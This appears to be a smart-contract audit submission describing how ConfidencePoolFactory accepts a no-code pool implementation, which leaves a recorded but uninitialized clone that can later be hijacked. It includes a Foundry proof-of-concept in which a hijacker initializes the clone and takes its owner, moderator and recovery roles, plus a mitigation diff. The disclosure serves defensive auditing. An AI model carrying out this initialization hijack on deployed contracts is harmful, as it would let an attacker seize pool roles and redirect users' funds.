FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: low

A no-code pool implementation can create a counted but hijackable/nonfunctional pool

Author Revealed upon completion

Root + Impact

Description

The factory accepts any nonzero address as its pool implementation. An EIP-1167 clone targeting an address without code treats initialization as a successful no-op, so the factory records a canonical-looking pool with no initialized state; if code later appears at the target, an arbitrary caller can initialize and control that recorded pool.

createPool() is expected to append a clone only after ConfidencePool.initialize() establishes the agreement, token, moderator, recovery address, owner, and scope. A failed initialization should revert the clone deployment and leave the per-agreement list unchanged.

However, both factory initialization and setPoolImplementation() validate only that the implementation is nonzero. OpenZeppelin's Clones library explicitly warns that a proxy targeting a no-code address can appear to initialize successfully even though the delegated call executes no code. Because initialize() returns no value, the factory cannot distinguish that empty success and proceeds to append the proxy.

src/ConfidencePoolFactory.sol
function initialize(address safeHarborRegistry_, address poolImplementation_, address defaultOutcomeModerator_)
external
initializer
{
if (safeHarborRegistry_ == address(0)) revert ZeroAddress();
if (poolImplementation_ == address(0)) revert ZeroAddress(); // @> An EOA or undeployed address is accepted.
if (defaultOutcomeModerator_ == address(0)) revert ZeroAddress();
__Ownable_init(msg.sender);
__Pausable_init();
safeHarborRegistry = IBattleChainSafeHarborRegistry(safeHarborRegistry_);
poolImplementation = poolImplementation_;
defaultOutcomeModerator = defaultOutcomeModerator_;
}
function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
// ... input and authorization checks omitted ...
bytes32 salt = keccak256(abi.encode(agreement, _poolsByAgreement[agreement].length));
pool = Clones.cloneDeterministic(poolImplementation, salt); // @> No code check precedes cloning.
IConfidencePool(pool).initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
msg.sender,
accounts
); // @> Delegatecall to a no-code target succeeds without changing clone storage.
_poolsByAgreement[agreement].push(pool); // @> The uninitialized proxy becomes canonical and consumes an index.
emit PoolCreated(
agreement,
pool,
stakeToken,
expiry,
minStake,
recoveryAddress,
defaultOutcomeModerator,
address(safeHarborRegistry)
);
}
function setPoolImplementation(address newPoolImplementation) external onlyOwner {
if (newPoolImplementation == address(0)) revert ZeroAddress(); // @> Code existence and compatibility are unchecked.
address old = poolImplementation;
poolImplementation = newPoolImplementation;
emit PoolImplementationUpdated(old, newPoolImplementation);
}

The immediate result is a permanently counted, nonfunctional pool. If the configured address was a deterministic deployment target and later receives compatible code, the clone begins delegating to that code with its initializer version still zero. The first external caller can then choose the pool owner, moderator, registry, recovery address, token, and other initialization fields.

Risk

Likelihood:

  • The defect occurs when the trusted factory owner supplies an EOA, mistyped address, or not-yet-deployed deterministic implementation and an agreement owner creates a pool before code exists.

  • Delayed hijacking additionally requires compatible code to appear at the target and an attacker to initialize before the intended operator; canonical-list pollution occurs immediately without those extra steps.

Impact:

  • The agreement's canonical enumeration and creation event include an unusable clone and permanently consume that deterministic list index.

  • A later initializer can seize all security-critical roles and direct funds deposited by users or integrations that trust factory enumeration without validating live clone state.

Proof of Concept

Create test/audit/CP011NoCodePoolImplementation.t.sol with the following contents:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract CP011NoCodePoolImplementationTest is Test {
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
MockERC20 internal token;
MockSafeHarborRegistry internal registry;
MockAgreement internal agreement;
ConfidencePoolFactory internal factory;
address internal agreementOwner = makeAddr("agreementOwner");
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
function setUp() external {
token = new MockERC20();
registry = new MockSafeHarborRegistry();
agreement = new MockAgreement(agreementOwner);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
registry.setAgreementValid(address(agreement), true);
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize, (address(registry), address(poolImplementation), moderator)
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
}
function test_NoCodeImplementationCreatesCountedThenHijackablePool() external {
address noCodeImplementation = makeAddr("noCodeImplementation");
assertEq(noCodeImplementation.code.length, 0);
factory.setPoolImplementation(noCodeImplementation);
vm.prank(agreementOwner);
address created = factory.createPool(
address(agreement), address(token), block.timestamp + 31 days, 1 ether, recovery, _scope()
);
assertGt(created.code.length, 0, "the EIP-1167 proxy itself has code");
assertEq(factory.poolCountByAgreement(address(agreement)), 1, "factory records the broken pool");
(bool ok, bytes memory result) = created.staticcall(abi.encodeWithSignature("owner()"));
assertTrue(ok, "delegatecall to a no-code target reports success");
assertEq(result.length, 0, "factory initialization wrote no pool state");
ConfidencePool codeSource = new ConfidencePool();
vm.etch(noCodeImplementation, address(codeSource).code);
address hijacker = makeAddr("hijacker");
vm.prank(hijacker);
ConfidencePool(created)
.initialize(
address(agreement),
address(token),
address(registry),
hijacker,
block.timestamp + 32 days,
1,
hijacker,
hijacker,
_scope()
);
assertEq(ConfidencePool(created).owner(), hijacker);
assertEq(ConfidencePool(created).outcomeModerator(), hijacker);
assertEq(ConfidencePool(created).recoveryAddress(), hijacker);
}
function _scope() internal pure returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = SCOPE_ACCOUNT;
}
}

Run the PoC from the repository root:

  1. Execute forge test --offline --match-path test/audit/CP011NoCodePoolImplementation.t.sol -vv.

  2. Confirm that the factory count becomes one while owner() returns empty data, then the unrelated hijacker initializes the same recorded clone after code appears at its target.

Recommended Mitigation

Reject implementations without deployed code at every configuration boundary and immediately before cloning. For stronger ABI/semantic validation, extend IConfidencePool with a compatibility identifier or the required read-back getters, then validate the initialized fields before appending the clone so an incompatible implementation also reverts atomically.

src/ConfidencePoolFactory.sol
+error InvalidPoolImplementation();
+function _validatePoolImplementation(address implementation) internal view {
+ if (implementation == address(0) || implementation.code.length == 0) {
+ revert InvalidPoolImplementation();
+ }
+}
function initialize(address safeHarborRegistry_, address poolImplementation_, address defaultOutcomeModerator_)
external
initializer
{
if (safeHarborRegistry_ == address(0)) revert ZeroAddress();
- if (poolImplementation_ == address(0)) revert ZeroAddress();
+ _validatePoolImplementation(poolImplementation_);
if (defaultOutcomeModerator_ == address(0)) revert ZeroAddress();
__Ownable_init(msg.sender);
__Pausable_init();
safeHarborRegistry = IBattleChainSafeHarborRegistry(safeHarborRegistry_);
poolImplementation = poolImplementation_;
defaultOutcomeModerator = defaultOutcomeModerator_;
}
function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
// ... input and authorization checks omitted ...
+ _validatePoolImplementation(poolImplementation);
bytes32 salt = keccak256(abi.encode(agreement, _poolsByAgreement[agreement].length));
pool = Clones.cloneDeterministic(poolImplementation, salt);
IConfidencePool(pool).initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
msg.sender,
accounts
);
_poolsByAgreement[agreement].push(pool);
emit PoolCreated(
agreement,
pool,
stakeToken,
expiry,
minStake,
recoveryAddress,
defaultOutcomeModerator,
address(safeHarborRegistry)
);
}
function setPoolImplementation(address newPoolImplementation) external onlyOwner {
- if (newPoolImplementation == address(0)) revert ZeroAddress();
+ _validatePoolImplementation(newPoolImplementation);
address old = poolImplementation;
poolImplementation = newPoolImplementation;
emit PoolImplementationUpdated(old, newPoolImplementation);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!